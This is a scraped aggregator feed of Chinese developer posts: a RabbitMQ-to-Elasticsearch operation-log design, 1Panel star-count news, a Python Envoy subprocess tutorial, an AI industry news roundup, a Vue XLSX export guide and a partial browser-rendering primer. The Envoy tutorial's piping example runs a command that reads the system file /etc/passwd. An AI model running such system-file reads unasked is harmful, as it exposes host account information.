        logDto.setRemark(remark);
        logDto.setGmtCreate(new Date());
        ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
        if (attributes != null) {
            HttpServletRequest httpServletRequest = attributes.getRequest();
            logDto.setIp(BaseSysUtils.getClientIP(httpServletRequest));
        }

        OpenUserDetails openUserDetails = OpenHelper.getUserMayEmpty();
        if (openUserDetails != null) {
            logDto.setUserId(openUserDetails.getUserId());
            logDto.setNickName(openUserDetails.getNickName());
        } else {
            logDto.setUserId(-1L);
            logDto.setNickName("系统");
        }

        if (StrUtil.isBlank(logDto.getNickName())) {
            logDto.setNickName("系统");
        }

        this.rabbitTemplate.convertAndSend("operation_record_logs", logDto);
    }
}

通过 RabbitMQ,将日志异步发送到日志存储的消费者端,避免了直接写入数据库可能导致的性能瓶颈。

在每一个Service方法的修改后调用该方法即可,底层原理是依据RabbitMQ将logDto对象传递给消费者,消费者再解析存储到ES中;消费者示例代码如下

@Component
public class LogMessageConsumer {

    @Autowired
    private RestHighLevelClient restHighLevelClient;  // Elasticsearch 客户端
    @Autowired
    private ObjectMapper objectMapper;  // 用于将 JSON 转换为 LogDto 对象

    @RabbitListener(queues = "operation_record_logs")  // 监听 MQ 队列
    public void consumeLogMessage(String message) {
        try {
            // Step 1: 消费消息 - 反序列化 JSON 消息为 LogDto 对象
            LogDto logDto = objectMapper.readValue(message, LogDto.class);

            // Step 2: 将 LogDto 转换为 Map 格式,方便 Elasticsearch 存储
            Map<String, Object> logMap = BeanUtil.beanToMap(logDto);

            // Step 3: 构造 Elasticsearch 索引请求
            IndexRequest indexRequest = new IndexRequest(logDto.getIndex())
                    .id(logDto.getTraceId())  // 可选:使用唯一的 Trace ID 作为文档 ID
                    .source(logMap);  // 设置日志数据作为文档内容

            // Step 4: 存储日志到 Elasticsearch
            IndexResponse response = restHighLevelClient.index(indexRequest, RequestOptions.DEFAULT);

            // 判断 Elasticsearch 操作结果
            if (response.getResult() == DocWriteResponse.Result.CREATED) {
                // 日志创建成功
                System.out.println("Log successfully stored in Elasticsearch.");
            } else {
                // 日志更新成功(如果存在相同 ID 的日志)
                System.out.println("Log updated in Elasticsearch.");
            }
        } catch (Exception e) {
            // 错误处理,记录日志失败
            System.err.println("Error processing log message: " + e.getMessage());
            e.printStackTrace();
        }
    }
}

附上LogDto代码

@Data
@Builder
@AllArgsConstructor
@ApiModel(value="日志", description="日志")
public class LogDto implements Serializable {

    private static final long serialVersionUID=1L;

    @ApiModelProperty(value = "业务ID")
    private Long businessId;

    @ApiModelProperty(value = "存放目录")
    private String index;

    @ApiModelProperty(value = "操作人")
    private Long userId;

    @ApiModelProperty(value = "类型描述(比如:改约)")
    private String operationTypeName;

    @ApiModelProperty(value = "操作人姓名")
    private String nickName;

    @ApiModelProperty(value = "备注")
    private String remark;

    @ApiModelProperty(value = "路径")
    private String loginPath;

    @ApiModelProperty(value = "唯一ID")
    private String traceId;

    @ApiModelProperty(value = "IP")
    private String ip;

    @ApiModelProperty(value = "操作人名称")
    private String userName;

    @ApiModelProperty(value = "操作人手机号")
    private String userMobile;

    @ApiModelProperty(value = "操作人工号")
    private String workerNo;

    @ApiModelProperty(value = "日志来源: 1.用户端,2.管理端,3.企微扩展")
    private Integer source;

    @ApiModelProperty(value = "创建时间")
    private Date gmtCreate;

    @ApiModelProperty(value = "分页开始行数")
    private Integer from;

    @ApiModelProperty(value = "返回条数")
    private Integer size;

    public LogDto() {
    }

    public LogDto(String index, Long businessId, Long userId, String nickName, String remark,String ip) {
        this.index = index;
        this.businessId = businessId;
        this.userId = userId;
        this.nickName = nickName;
        this.remark = remark;
        this.ip = ip;
    }
}

Tips:如果是记录修改前修改后的状态,直接修改传参remark即可 比如

remark = "修改前:"+"123"+" 修改后:"+"321";

2. Elasticsearch 日志查询

前端日志查询接口 listLogById,通过 LogDto 传递查询条件,并调用 Elasticsearch 执行查询:

@PostMapping("/listLogById")
public ResultBody<List<LogVo>> listLogById(@RequestParam String index, @RequestParam Long id) {
    if ("".equals(index)) {
        return ResultBody.failed().code(1000).msg("索引不能为空");
    }
    LogDto logDto = new LogDto();
    logDto.setIndex(index);
    logDto.setBusinessId(id);
    Page<LogVo> logDtos = null;
    try {
        logDtos = esService.listLog(logDto);
    } catch (Exception e) {
        if (e.getMessage() != null && "index_not_found_exception".contains(e.getMessage())) {
            return ResultBody.failed();
        }
        return ResultBody.failed().code(1000).msg(e.getMessage());
    }
    return ResultBody.ok().data(logDtos);
}

Elasticsearch 具体查询逻辑

esService.listLog 方法中,查询逻辑通过 Elasticsearch 客户端实现:

public Page<LogVo> exec(LogDto logDto) {
    ClientInterface clientUtil = ElasticSearchHelper.getConfigRestClientUtil("esmapper/ESTracesMapper.xml");
    Map<String, Object> objectMap = BeanUtil.beanToMap(logDto);
    Map params = new HashMap();
    objectMap.entrySet().removeIf(entry -> entry.getValue() == null);
    params.put("from", objectMap.get("from"));
    params.put("size", objectMap.get("size"));
    objectMap.remove("from");
    objectMap.remove("size");
    params.put("objectMap", objectMap);
    params.put("mapsize", objectMap.size());

    ESDatas<LogVo> esDatas = clientUtil.searchList(
        logDto.getIndex() + "/_search",
        "searchLogPagineDatas",
        params,
        LogVo.class
    );

    List<LogVo> list = new ArrayList<>();
    if (esDatas.getDatas() != null) {
        list = esDatas.getDatas();
        if (list != null) {
            list = list.stream().collect(Collectors.collectingAndThen(
                Collectors.toCollection(() -> new TreeSet<>(Comparator.comparing(o -> o.getBusinessId() + ";" + o.getRemark() + ";" + o.getGmtCreate()))),
                ArrayList::new
            ));
            list = list.stream().sorted(Comparator.comparing(LogVo::getGmtCreate).reversed()).collect(Collectors.toList());
        }
    }

    long totalSize = esDatas.getTotalSize();
    Page<LogVo> page = new Page<>();
    page.setRecords(list);
    page.setTotal(totalSize);
    page.setSize(totalSize);
    page.setCurrent(0);
    return page;
}

主要代码解析:

ElasticSearchHelper.getConfigRestClientUtil("esmapper/ESTracesMapper.xml")

这行代码通过 ElasticSearchHelper 获取配置的 ClientInterface 实例。ClientInterface 是一个封装了与 Elasticsearch 通信的方法的接口,getConfigRestClientUtil 是读取配置信息并初始化该接口的一个工厂方法。

  • "esmapper/ESTracesMapper.xml":这是 Elasticsearch 配置文件的路径,里面通常定义了查询语句模板,用于构建 Elasticsearch 查询。

clientUtil.searchList(...)

这行代码是通过 ClientInterface 发起一个查询请求。clientUtil 调用 searchList 方法来执行查询操作:

  • logDto.getIndex() + "/_search":这部分指定了 Elasticsearch 中的索引,logDto.getIndex() 返回了查询日志的目标索引。
  • "searchLogPagineDatas":这是查询的模板名称,通常是在配置文件(例如 esmapper/ESTracesMapper.xml)中定义的。这个查询模板描述了如何从 Elasticsearch 中获取日志数据。

核心特点:

  • 条件过滤:通过传入 LogDto 的条件,动态生成 Elasticsearch 查询参数。
  • 分页支持:利用 fromsize 实现分页查询。
  • 数据去重:使用 TreeSet 和自定义比较器对日志进行去重,确保数据唯一性。

总结

基于 RabbitMQ 和 Elasticsearch 的操作日志解决方案,不仅满足了高效存储和查询的需求,还通过异步处理和灵活的查询功能,极大地提升了系统性能和用户体验。这种方案适用于需要存储和查询海量日志的应用场景,平时小的项目个人建议直接用日志表即可。

by 肉肉不想干后端 at January 22, 2025 09:03 AM

oschina news industry

1Panel 开源面板项目 GitHub Star 数量突破 25,000!

截至2025年1月22日8:00,飞致云旗下开源项目——1Panel开源Linux服务器运维管理面板GitHub Star数超过25,000个!

继Halo和JumpServer之后,1Panel成为飞致云旗下第三个GitHub Star数量超过25,000个的开源项目,也是飞致云旗下最快达成25,000个GitHub Star目标的项目。1Panel开源项目(https://github.com/1Panel-dev)于2023年3月20日发布。作为一款开源、现代化的Linux服务器运维管理面板,1Panel旨在通过开源的方式,帮助用户简化建站与运维管理流程。

图片

 

by 来源: 投稿 at January 22, 2025 09:01 AM

juejin backend

到一个不可思议的Python库——Envoy

大家好,今天我们要聊聊一个你可能没有太注意过,但它却能为你的Python项目带来不少便利的库——Envoy。是不是感觉这个名字听起来像是某个神秘的组织?其实它是一个非常实用的Python库,专门用来简化与外部命令交互的操作。嗯,简单来说,它能让你用Python更高效地执行系统命令,而不需要编写繁琐的代码。听起来有点不可思议?别急,跟我一起深入了解这个库的魔力,保证你会爱上它!😎

什么是Envoy?

在我们深入代码之前,先来简要了解一下Envoy的背景。它是一个用于执行外部命令和获取命令输出的Python库,基于Python的subprocess模块封装而来。Envoy的目标是简化你与外部命令的交互,提供一个更加直观和高效的API。

假设你需要执行一个shell命令,传统的方式可能是这样的:

import subprocess

result = subprocess.run(['ls', '-l'], capture_output=True, text=True)
print(result.stdout)

是不是觉得这些代码看起来有点长,又得处理好多细节?🤔而Envoy则让这件事变得超级简单,几乎像魔法一样。

import envoy

response = envoy.run('ls -l')
print(response.std_out)

是不是简洁得让你惊叹?这就是Envoy的魅力!🎉

Envoy库的特性

在开始使用Envoy之前,先来了解一下它的一些关键特性。Envoy并不是一个普通的库,它提供了多种实用功能,能够极大简化你的开发流程。以下是Envoy的一些核心特性:

1. 简洁的API设计

Envoy的设计目标就是简化与外部命令的交互,它的API非常简洁直观。你只需要通过一个简单的envoy.run()调用,就能执行命令并获取输出。没有复杂的配置,代码更加简洁。

2. 高效的命令执行

Envoy基于subprocess模块,但它做了许多优化,使得命令执行更加高效。它能够在后台运行命令,并让你实时获取输出。这对于需要长时间运行的命令尤其重要。

3. 处理标准输出和标准错误

执行命令时,Envoy可以轻松捕获命令的标准输出和标准错误。你可以通过response.std_outresponse.std_err来访问这些信息,方便调试和错误处理。

4. 环境变量支持

Envoy允许你在执行命令时传递自定义的环境变量。这对于需要特定环境配置的命令来说非常重要。只需要在run()方法中传入env参数,Envoy就会将环境变量传递给命令。

5. 支持管道操作

Envoy支持命令之间的管道操作(pipe),你可以在一个命令中执行多个操作。它会自动将命令连接起来,简化了复杂的命令链式操作。

6. 异步命令执行

对于一些需要长时间执行的命令,Envoy支持异步执行。你可以通过block=False参数来让命令在后台运行,并继续执行其他任务。

7. 捕获返回码

每个命令都会有一个返回码(exit code),Envoy让你可以轻松获取命令的返回码。返回码为0表示命令成功执行,非0表示命令出现了错误。

8. 跨平台支持

Envoy不仅仅支持Linux或macOS,它也可以在Windows系统上运行。这意味着你可以在跨平台开发时,使用Envoy来执行外部命令,保证代码的兼容性。

如何安装Envoy?

在你开始使用Envoy之前,首先需要将它安装到你的Python环境中。Envoy是一个轻量级的第三方库,你可以通过pip安装它。下面是安装步骤:

  1. 使用pip安装

在命令行或终端中输入以下命令:

pip install envoy

这样,Envoy库就会被下载并安装到你的Python环境中了。🎉

  1. 安装指定版本(可选)

如果你需要安装特定版本的Envoy,可以使用类似下面的命令:

pip install envoy==1.0.0
  1. 检查安装

安装完成后,你可以通过以下命令来验证Envoy是否成功安装:

python -c "import envoy; print(envoy.__version__)"

如果输出了版本号,恭喜你,Envoy已经成功安装!🚀

  1. GitHub地址

如果你对Envoy的源码感兴趣,或者想贡献代码,可以访问它的GitHub仓库:

Envoy GitHub Repository: https://github.com/python-envoy/envoy

在这里,你不仅能找到完整的源码,还有使用文档和贡献指南。如果你对开源项目有兴趣,欢迎加入贡献者的行列!🌟

Envoy的基本用法

1. 简单的命令执行

最基本的功能就是执行外部命令,并获取输出。看看这个简单的例子:

import envoy

# 执行一个shell命令
response = envoy.run('echo Hello, Envoy!')
print(response.std_out)  # 输出: Hello, Envoy!

可以看到,envoy.run()方法非常直观。它会返回一个包含命令输出的响应对象,你只需要通过response.std_out来访问命令的输出结果。

2. 获取错误输出

我们不可能每次都幸运地执行成功命令吧?有时你可能会遇到错误,需要捕获错误输出。Envoy同样提供了这样的功能。看下面的例子:

import envoy

# 执行一个错误的命令
response = envoy.run('nonexistent_command')
print(response.std_err)  # 输出错误信息

通过response.std_err,你可以轻松获取命令的错误输出,这让你调试更加方便。

3. 返回码

每个命令执行后,都会有一个返回码(exit code)。返回码为0表示命令成功执行,非0表示出现了错误。Envoy也提供了这个功能,我们可以通过response.return_code来获取:

import envoy

response = envoy.run('ls -l')
print(f"返回码: {response.return_code}")  # 返回码为0,表示命令成功执行

4. 使用Envoy与管道

假设你想将两个命令的输出连接起来(比如grepawk的组合)。使用Envoy来实现这一点非常容易。只需要传递一串命令,它会自动将这些命令连贯地执行下去。

import envoy

response = envoy.run('cat /etc/passwd | grep root')
print(response.std_out)  # 输出所有包含"root"的行

Envoy的进阶功能

Envoy不仅仅能执行基本命令,它还有一些进阶功能,能够让你更高效地使用它。

1. 传递环境变量

有时我们需要传递一些环境变量给外部命令。Envoy支持这一功能,只需要在调用run()方法时传入env参数:

import envoy
import os

# 传递自定义环境变量
env = os.environ.copy()
env['MY_VAR'] = 'some_value'

response = envoy.run('echo $MY_VAR', env=env)
print(response.std_out)  # 输出: some_value

2. 长时间运行的命令

如果你要执行一个需要长时间运行的命令,比如下载文件或者运行大型计算任务,Envoy支持非阻塞式执行,并且可以轻松获取进度。

import envoy

response = envoy.run('ping google.com', block=False)

# 你可以继续进行其他操作
print("命令正在后台运行...")

3. 复杂的命令构造

如果你要构造更复杂的命令,Envoy也能轻松应对。你可以将命令和参数以列表的方式传递,Envoy会自动处理其中的细节:

import envoy

response = envoy.run(['ls', '-l', '/'])
print(response.std_out)  # 输出根目录的文件列表

常见问题和注意事项

在使用Envoy时,可能会遇到一些常见问题或细节需要特别注意。以下是一些提示,帮助你更好地使用Envoy:

  1. 命令执行的阻塞性:默认情况下,envoy.run()会阻塞程序执行,直到命令完成。如果你希望在后台运行命令,可以使用block=False参数。
  2. 命令的错误处理

执行命令时,Envoy会将错误信息保存在std_err属性中,但它不会自动抛出异常。如果你需要对错误进行特别处理,可以手动检查返回码或错误输出。 3. 性能:虽然Envoy非常简洁和高效,但如果你需要执行大量的命令,或是在性能要求极高的环境中使用,最好根据实际需求对其进行性能测试。

总结

Envoy是一个不可思议的Python库,它通过简单而直观的接口,让你可以轻松执行外部命令,获取命令的输出和错误信息,并且可以在高效的环境中进行复杂操作。它就像是Python中一个超能力的助手,让你在与操作系统交互时事半功倍。

所以,如果你平时需要频繁操作系统命令,或者想让命令行操作更加高效、便捷,Envoy绝对是一个值得你一试的工具。🎉

by 花小姐的春天 at January 22, 2025 08:59 AM

juejin article

Anthropic 计划为 Claude 发布「双向」语音模式;商汤「日日新」实时音视频对话服务开放商用丨 RTE 开发者日报

开发者朋友们大家好:

这里是 「RTE 开发者日报」 ,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文章 」、「有看点的 会议 」,但内容仅代表编辑的个人观点,欢迎大家留言、跟帖、讨论。

本期编辑:@qqq,@鲍勃

01 有话题的技术

1、商汤「日日新融合大模型交互版」开放商用

商汤科技日日新融合大模型交互版(SenseNova-5o)宣布正式对外提供实时音视频对话服务。现阶段 APP 将供免费测试使用,不限使用次数。

今年早些时候,商汤曾于 1 月 10 日正式推出「日日新」融合大模型,实现原生融合模态,深度推理能力与多模态信息处理能力均大幅提升,并在两大权威评测榜单夺得第一,成为「双冠王」——国内权威大模型测评机构 SuperCLUE 最新发布的《中文大模型基准测评 2024 年度报告》中,「日日新」融合大模型以总分 68.3 的成绩与 DeepSeek V3 一起并列国内榜首,成为年度第一;在近期另一个权威综合评测机构 OpenCompass 的多模态评测中,商汤以同一款模型同样取得了榜单第一,分数大幅领先 GPT-4o。

作为商汤「日日新」融合大模型的交互版本,「SenseNova-5o」拥有强大的实时交互、视觉识别、记忆思考、持续对话和复杂推理等能力,能帮助 AI 与人类更自然、更流畅地交流。同时,通过整合商汤大装置基础设施能力,商汤还为「SenseNova-5o」提供了配套的 Realtime API 的服务优化,实现与 RTC 网络的深度结合,令音视频对话服务在多种环境下稳定、实时、流畅、无延迟。

例如,「SenseNova-5o」记忆力进一步增强,能够精确牢记每一轮与用户的对话,支持超长多模态交互记忆不少于 5 分钟,同时超越了短期对话,能够持续跟踪和积累与用户的交互信息,不断完善和优化对用户需求的理解。

与此同时,「SenseNova-5o」当前的交互延迟已缩短至 2 秒以内,与人类自然交流几乎无差。通过个性化设置功能,该产品还可以支持根据用户偏好,个性化设置交流风格与使用习惯,从人设到语气都能自由调整。例如,其在《射雕英雄传》中扮演的「郭靖」不仅可以接受用户的提问,还能与另一位「SenseNova-5o」扮演的「黄蓉」一起对话探讨杨过的教育问题。(@财经涂鸦)

2、智谱正式推出清影 2.0 视频模型

1 月 21 日,智谱正式宣布推出清影 2.0 视频模型,其带来了一系列 AI 生成视频的新惊喜。

据官方介绍,清影 2.0 的模型结构、训练方法、数据工程全面更新,图生视频基础模型能力大幅度提升 38%;生成更可控,支持画面主体进行大幅度运动,同时保持画面稳定性;指令遵从能力行业领先,能够理解和实现各种复杂 prompt;能够驾驭各种艺术风格,画面美感大幅提升。目前,清影 2.0 视频模型现已在智谱清言网页端和 App 全量上线,普通用户可免费试用,会员享受快速通道,且为不扣积分的无限模式。(@APPSO)

3、Perplexity 推出人工智能搜索 API Sonar

Perplexity 推出了名为 Sonar 的 API 服务,企业和开发者可借此将该初创公司的生成式 AI 搜索工具整合进自己的应用程序。

Perplexity 为开发者提供了两个层级的选择:基础版 Sonar 价格更便宜、速度更快;Sonar Pro 则更适合处理复杂问题,价格更高,Perplexity 表示,Sonar API 能让企业和开发者自定义 AI 搜索引擎提取信息的来源。

随着 API 的推出,Perplexity 将其 AI 搜索引擎推广到更多地方,不再局限于自身的应用程序和网站。例如,Zoom 等公司已经开始使用 Sonar 为其视频会议平台提供 AI 助手,Sonar 能让 Zoom 的 AI 聊天机器人依据带引文的网络搜索实时作答,且无需用户离开视频聊天窗口。

Sonar 还能为 Perplexity 开辟新的收入来源,这对初创公司的投资者而言可能非常重要。Perplexity 目前仅提供订阅服务,用户可无限制使用其 AI 搜索引擎及一些附加功能。不过,科技行业去年大幅降低了通过 API 访问 AI 工具的价格,Perplexity 却声称 Sonar 将提供市场上最便宜的 AI 搜索 API。

Sonar 基础版采用固定价格,运用轻量级模型,每 1000 次搜索收费 5 美元,每输入 75 万个单词(约 100 万个输入标记)收费 1 美元,每输出 75 万个单词(约 100 万个输出标记)收费 1 美元。

Sonar Pro 价格更高,答案更详细,可处理更复杂的问题。该版本会根据用户提示运行多个搜索,所以定价较难预测。Perplexity 表示,Sonar Pro 提供的引用量是基础版的两倍。Sonar Pro 每 1000 次搜索收费 5 美元,每在 AI 模型中输入 75 万个单词(约 100 万个输入标记)收费 3 美元,每模型输出 75 万个单词(约 100 万个输出标记)收费 15 美元。

Perplexity 宣称,在衡量 AI 聊天机器人答案事实正确性的 SimpleQA 基准测试中,Sonar Pro 的表现优于 Google、OpenAI 和 Anthropic 的领先模型。(@中鲸社)

4、腾讯混元 3D 生成大模型 2.0 开源发布

该技术宣称一句话、一张图,甚至画个草图都能生成一个 3D 模型,甚至还能加动作、换纹理、捏人物、做动画。

腾讯混元 3D-2.0 版本主要是对 3D 生成过程中的 几何和纹理 两个大模型进行了升级。

  • 几何大模型的任务就是捕捉 3D 物体的形状和结构。腾讯云采用 Hunyuan3D-DiT 和 Hunyuan ShapeVAE技术 ,让生成的「白模」(没上色的模型)效果「堪比设计师手工建模」;

  • 纹理大模型 Hunyuan3D-Paint 可以根据文字或图片描述,为「白模」穿上各种纹理。

此外,腾讯混元通过 「解耦生成」 新方法,让几何大模型和纹理大模型能够实现「1+1>2」的生成效果。

目前,腾讯混元 3D 生成技术已经应用于 UGC 3D 创作、商品素材合成、游戏 3D 资产生成等场景。腾讯地图就基于混元 3D 大模型,生成个性化 3D 导航车标,号称速度提升了 91%。

开发者可在 GitHub、Hugging Face 等技术社区下载混元 3D 2.0 模型,用户也可以直接在混元 3D 官网上申请体验功能。(@IT 之家)

5、豆包大模型 1.5Pro 正式发布

今天,豆包大模型 1.5Pro 版本正式和大家见面。新模型综合能力显著增强,低训练/推理成本,高效模型结构,全面提升多模态能力、推理能力,多项公开评测基准上全球领先。

目前,Doubao-1.5-pro 已在豆包 APP 灰度上线,接受海量请求效果出色,同时,开发者也可在火山引擎直接调用 API 。

多模态能力全面提升:

新版豆包视觉理解模型 Doubao-1.5-vision-pro,视觉理解能力全球领先。

全新的豆包实时语音模型 Doubao-1.5-realtime-voice-pro,采用 Speech2Speech 端到端框架,表现力实现质的飞跃,真正做到会哭会笑、能说方言会唱歌。火山引擎将在上半年通过方舟平台推出对应 API 服务。

更强的深度思考能力:

基于豆包 1.5 基座模型,通过 RL 算法的突破和工程优化,在未使用其他模型数据的情况下,研发豆包深度思考模型。阶段性进展 Doubao-1.5-Pro-AS1-Preview 在 AIME 上已取得了业内领先的成绩。(@豆包)

02 有亮点的产品

1、腾讯混元推出 3D AI 创作引擎:号称业界首个一站式的 3D 内容创作平台。

该平台支持:

文 / 图生 3D 模型: 只需输入中 / 英文提示词或上传一张图片,就能生成 4 个 3D 模型,还能挑选不同纹理风格;

低多边形 low-poly 模型生成: 可根据物体复杂程度,自适应生成几百至数千面的三角 mesh,面数更低的同时保证模型细节效果,特别适合游戏引擎渲染;

一站式流程管理: 从建模到动画到素材管理,像流水线一样高效。

具体效果方面:

3D 动画生成: 选个动作模版,角色可以跑步、挥手、跳舞;

3D 纹理生成: 通过文字或图片描述,一键生成高清纹理;

3D 草图生成: 随手涂鸦的简笔画,加上简单描述就能生成 3D 模型;

3D 人物生成: 上传一张照片,立刻生成虚拟形象,还能随意调整发型、服饰等细节;

3D 小游戏创作: 用头像生成角色,再配上一段动画,一键制作小游戏,直接分享给朋友。

不仅如此,混元 3D AI 创作引擎还能帮助专业用户 搭建 3D 生成工作流 ,通过模块化设计,一键生成符合需求的角色或道具。(@IT 之家)

03 有态度的观点

1、Anthropic 计划为 Claude 发布「双向」语音模式

在华尔街日报对 Anthropic CEO Dario Amodei 的专访中,关于「语音模式—一即实现与 Claude 的语音对话功能」,

Dario Amodei 表示:「这项功能最终也会实现。目前的情况是,Claude 已经具备语音转文字和文字转语音的能力。至于双向语音交互模式,这是我们未来规划中的一项内容。不过从企业用户和部分深度用户的角度来看,对这项功能的需求相对较低,但它确实会在未来推出。」(@AI 深度研究员)

2、Pytorch 华人负责人押注复合 AI:行业已经从依赖 Scaling Law 逐渐转向强调模型的推理能力

(图片来源:Latent Space)

Lin Qiao 表示亲眼见证了数据量的爆炸式增长以及行业的巨额投入。「当时就很明显,AI 是推动这些数据增长背后的关键动力。那是一个非常有趣的时刻——Meta 正在完成「移动优先」的过渡,开始迈向「AI 优先」。 这个转变的根本原因是移动优先策略提供了前所未有的全方位用户交互,随之产生了大量数据,而这些数据也为 AI 提供了动力。」

除此之外,他还说: 「单一模型的知识是有限的,因为它的训练数据是有限的,不具备实时信息,也无法获取企业的专有信息。因此,要真正构建一个能够解决实际问题的应用,我们需要一个复合 AI 系统。 复合 AI 系统的核心,是通过多个跨模态的模型、API(无论是公共还是专有)、存储系统、数据库系统以及知识库等协同工作,共同提供最优答案。」

未来的趋势是开源模型和闭源模型之间的性能差距会逐渐缩小,甚至趋于消失。 「一旦两者在同一水平线上,我们的早期推理优化投资将展现出巨大的优势。通过围绕质量、延迟和成本平衡的长期探索,我们积累了丰富的经验。这些积累让我们有能力发布一个接近高质量闭源模型水准的新产品。」(@Z Potentials)

更多 Voice Agent 学习笔记:

2024,语音 AI 元年;2025,Voice Agent 即将爆发丨年度报告发布

对话谷歌 Project Astra 研究主管:打造通用 AI 助理,主动视频交互和全双工对话是未来重点

这家语音 AI 公司新融资 2700 万美元,并预测了 2025 年语音技术趋势

语音即入口:AI 语音交互如何重塑下一代智能应用

Gemini 2.0 来了,这些 Voice Agent 开发者早已开始探索……

帮助用户与 AI 实时练习口语,Speak 为何能估值 10 亿美元?丨Voice Agent 学习笔记

市场规模超 60 亿美元,语音如何改变对话式 AI?

2024 语音模型前沿研究整理,Voice Agent 开发者必读

从开发者工具转型 AI 呼叫中心,这家 Voice Agent 公司已服务 100+客户

WebRTC 创建者刚加入了 OpenAI,他是如何思考语音 AI 的未来?

写在最后:

我们欢迎更多的小伙伴参与「RTE 开发者日报」内容的共创,感兴趣的朋友请通过开发者社区或公众号留言联系,记得报暗号「共创」。

对于任何反馈(包括但不限于内容上、形式上)我们不胜感激、并有小惊喜回馈,例如你希望从日报中看到哪些内容;自己推荐的信源、项目、话题、活动等;或者列举几个你喜欢看、平时常看的内容渠道;内容排版或呈现形式上有哪些可以改进的地方等。

素材来源官方媒体/网络新闻

by RTE开发者社区 at January 22, 2025 08:59 AM

juejin frontend

导出excel的两个方式

目前我们做项目遇到的导出有两种方式,一是前端vue+XLSX 导出excel,一是vue+后端POI 导出excel

  1. 前端导出excel 相对来说简单一点,XLSX是前端 npm 包,但是如果数据量大的话,会卡顿,处理时间慢;当数据量多的时候 使用后端导出会好一点
  2. 后端导出excel 相对来说麻烦一点,但是时间短、速度快;具体操作都放在后端,也节省了前端的操作。用户效果好。

因为我是做前端的,下面我主要介绍前端vue+XLSX 导出excel。

一、安装 xlsx、 file-saver

npm install xlsx file-saver --save

二、引入

main.js

import * as xlsx from 'xlsx'
Vue.prototype.$xlsx = xlsx

vue页面

import { saveAs } from 'file-saver'

三、XLSX 两个方法

  • XLSX 方法一 和XLSX 方法二 都是使用的 XLSX 模块的方法,只是获取数据的方式和导出excel的方式有点不一样。
  • 相比之下,还是 XLSX 方法一 会好一点,可以自定义导出的字段。

1、XLSX 方法一

exportExcel() {
      const tableData = [
        ['序号', '名称', '用户', '手机号'] // 导出表头
      ] // 表格表头
      this.tableArr.forEach((item, index) => {
        // tableArr是查询到的表格数据
        let rowData = []
        // 导出内容的字段
        rowData = [index + 1, item.name, item.user, item.phone]
        tableData.push(rowData)
      })
      const workSheet = this.$xlsx.utils.aoa_to_sheet(tableData)
      const bookNew = this.$xlsx.utils.book_new()
      this.$xlsx.utils.book_append_sheet(bookNew, workSheet, 'xxx') // 工作簿名称
      const name = 'xxx.xlsx'
      this.$xlsx.writeFile(bookNew, name) // 保存的文件名
    }

如果需要导出选中的数据,则将tableArr换成选中的表格数据即可

2、XLSX 方法二

导出当前页

注意:当表格使用了浮动节点(即左固定列或右固定列)时,需要删除该浮动节点,不然会有两个相同的列

像这样:

image.png

exportExcel() {
      // 导出内容只做解析,不进行格式转换
      const xlsxParam = { raw: true }
      // 拷贝一份节点并删除表格左浮动节点
      const table = document.querySelector('#onlineTable').cloneNode(true)
      const content = table.querySelector('.ant-table-content')
      content.removeChild(table.querySelector('.ant-table-fixed-left'))
      // 转换数据格式
      const wb = this.$xlsx.utils.table_to_book(table, xlsxParam)
      const wbout = this.$xlsx.write(wb, { bookType: 'xlsx', bookSST: true, type: 'array' })
      try {
        saveAs(new Blob([wbout], { type: 'application/octet-stream' }), 'xxx.xlsx')
      } catch (e) {
        if (console !== 'undefined') console.log(e, wbout)
      }
      return wbout
    },

参考文章:blog.csdn.net/qq_40036754…

by 有钱啊 at January 22, 2025 08:58 AM

浏览器渲染原理

浏览器的功能组件是非常复杂的,在了解浏览器渲染原理前,需要先了解一些前置的概念知识。

CPU 和 GPU

CPU

CPU(Central Processing Unit - 中央处理单元),可以被看作是计算机的大脑,每个核就像一个员工,能够依次处理各种任务,包括数学和艺术问题,还能接听客户电话。很早之前,CPU 只有一个内核,而现代 CPU 则拥有多个内核,可以提供更强的计算能力。

GPU

GPU(Graphic Processing Unit - 图形处理单元)是计算机的另一个重要部分,GPU是专门处理图形相关任务的硬件,擅长大规模并行计算。它就像一群员工可以同时处理大量相同类型的任务,常用于图形渲染、视频解码和机器学习等需要高计算能力的场景。与CPU不同,GPU擅长处理重复性高、数据密集的计算工作,因此在图像处理和加速某些复杂计算时性能更佳。

并行与并发

并行(Parallelism) 和 并发(Concurrency) 是计算机科学中的两个重要概念,虽然看起来相似,但实际意义和应用场景上是不同的。

并行

并行是指同时执行多个任务,通常是通过多核处理器或多个处理器来完成的。在并行处理时,多个任务在同一时间点上真正地被多个 CPU 核心执行。

并行的特点:

  • 同时处理多个任务
  • 需要硬件支持

并行的场景:

  • 需要计算处理大量数据,并行可以将任务分割成多个部分,分配到多个处理器上同时进行
  • 图形处理:GPU 的并行计算,可以同时处理大量像素或图形数据
  • 并行编译:Weback 通过多进程或多线程实现并行编译,优化打包速度

并发

并发是指多个任务在同一时间段内交替执行,但它们未必真正地同时进行。并发系统中的任务可能是由单个处理器快速切换完成的,模拟出多任务同时进行的效果。

并发的特点:

  • 任务之间切换,看起来像是同时执行,但实际上每个任务轮流执行
  • 并发任务之间可能需要协调和同步(避免竞争资源的问题)

并发的场景:

  • 服务器处理多个请求:服务器需要同时处理成千上万的用户请求。通过并发技术,服务器可以快速响应每个请求,而无需等待上一个请求完成,使得系统资源得到更有效的利用,提高任务效率,从而降低总体时间
  • 前端异步操作:JavaScript 的事件循环机制

举例理解

举例:比如一位程序员正在写代码,办公桌上有一杯奶茶。

  • 一边写代码、一边用吸管喝奶茶,这两个任务是同时执行的,这种情况就叫并行。
  • 写一段代码,然后喝一口奶茶,之后再继续写代码,通过来回切换完成了这两个任务,这种情况就叫并发。
  • 先写完代码,再喝奶茶,这种情况既不是并行也不是并发。

进程和线程

进程

一个进程就是一个程序的运行实例。启动一个程序的时候,操作系统会为该程序创建一块内存,用来存放代码、运行中的数据和一个执行任务的主线程,我们把这样的一个运行环境叫进程。

进程必须有线程才能执行,任何代码的执行都必须由线程来进行。

一个进程可以包含多个线程,多个线程之间可以共享数据。

线程

线程是进程中的一个执行任务(控制单元),负责当前进程中程序的执行。多个线程可以共享进程的内存和资源,并且可以同时执行。

浏览器的进程模型

